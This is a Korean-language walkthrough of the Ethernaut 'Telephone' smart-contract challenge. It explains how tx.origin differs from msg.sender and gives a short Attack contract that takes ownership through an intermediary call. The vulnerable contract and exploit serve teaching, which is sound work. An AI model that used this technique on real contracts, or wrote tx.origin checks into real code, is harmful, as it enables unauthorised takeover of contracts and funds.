문제#

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// SPDX-License-Identifier: MIT
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pragma solidity ^0.8.0;
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contract Telephone {
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    address public owner;
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    constructor() {
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        owner = msg.sender;
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    }
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    function changeOwner(address _owner) public {
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        if (tx.origin != msg.sender) {
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            owner = _owner;
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        }
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    }
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}

배경지식#

솔리디티에는 EVM이 자동으로 제공하는 내장 전역 변수들이 있다. 이 문제에서는 msg.sender와 tx.origin을 비교한다. msg.sender는 현재 함수를 직접 호출한 주소다. EOA가 컨트랙트 A를 호출하면 A 입장에서 msg.sender는 EOA이고, 컨트랙트 A가 컨트랙트 B를 호출하면 B 입장에서 msg.sender는 A가 된다. 반면 tx.origin은 트랜잭션을 최초로 발생시킨 EOA를 가리킨다. 중간에 컨트랙트 호출이 몇 번 이어져도 한 트랜잭션 안에서 tx.origin은 처음 서명한 계정으로 유지된다. 호출 흐름을 아래처럼 만들면 두 값이 갈라진다.

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EOA -> Attack.attack() -> Telephone.changeOwner()

이때 Telephone 입장에서 tx.origin은 EOA이고, msg.sender는 Attack 컨트랙트다. 이 순간 두 값이 달라진다.

tx.origin은 트랜잭션의 최초 발신자만 알려줄 뿐, 현재 함수 호출을 누가 직접 수행했는지는 알려주지 않는다. 그래서 권한 체크에 tx.origin을 섞으면 중간 컨트랙트를 끼워 넣는 호출 흐름에 취약해진다. 소유자 변경처럼 권한이 필요한 로직은 보통 msg.sender를 기준으로 판단해야 한다. 현재 호출자를 기준으로 해야 어떤 컨트랙트가 실제로 함수를 호출했는지 통제할 수 있기 때문이다.

문제 코드 분석#

먼저 초기 owner를 보자.

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address public owner;
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constructor() {
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    owner = msg.sender;
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}

배포 시점의 msg.sender가 owner로 저장된다. Ethernaut 인스턴스에서는 레벨 컨트랙트가 새 인스턴스를 만들어주므로, 처음부터 플레이어가 owner라고 볼 수 없다. 목표는 이 owner 값을 플레이어 주소로 바꾸는 것이다.

이제 changeOwner 조건을 보자.

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function changeOwner(address _owner) public {
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    if (tx.origin != msg.sender) {
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        owner = _owner;
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    }
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}

changeOwner는 누구나 호출할 수 있는 public 함수다. 별도의 onlyOwner 같은 제한도 없다. 문제는 조건이 tx.origin != msg.sender라는 점이다. 플레이어 EOA가 직접 changeOwner를 호출하면 tx.origin과 msg.sender가 둘 다 플레이어 주소가 되므로 조건을 통과하지 못한다. 반대로 플레이어가 공격 컨트랙트를 호출하고, 그 공격 컨트랙트가 다시 Telephone.changeOwner를 호출하면 상황이 달라진다. Telephone 안에서는 tx.origin이 플레이어 EOA이고 msg.sender가 공격 컨트랙트 주소가 된다. 그래서 조건이 참이 되고, owner를 원하는 주소로 바꿀 수 있다.

풀이#

중간에 Attack 컨트랙트를 하나 두고, 그 안에서 Telephone.changeOwner를 호출하면 된다. changeOwner의 인자에는 새 owner가 될 플레이어 주소를 넣는다. 그러면 Telephone 입장에서는 직접 호출자가 Attack 컨트랙트가 되므로 tx.origin != msg.sender 조건을 통과한다.

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// SPDX-License-Identifier: MIT
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pragma solidity ^0.8.0;
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interface Telephone {
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    function changeOwner(address _owner) external;
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}
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contract Attack {
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    Telephone telephone;
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    constructor(address addr) {
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        telephone = Telephone(addr);
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    }
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    function attack() public {
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        telephone.changeOwner(0x285ac9F8881D867556fCf6C16F26e3629F86C971);
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    }
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}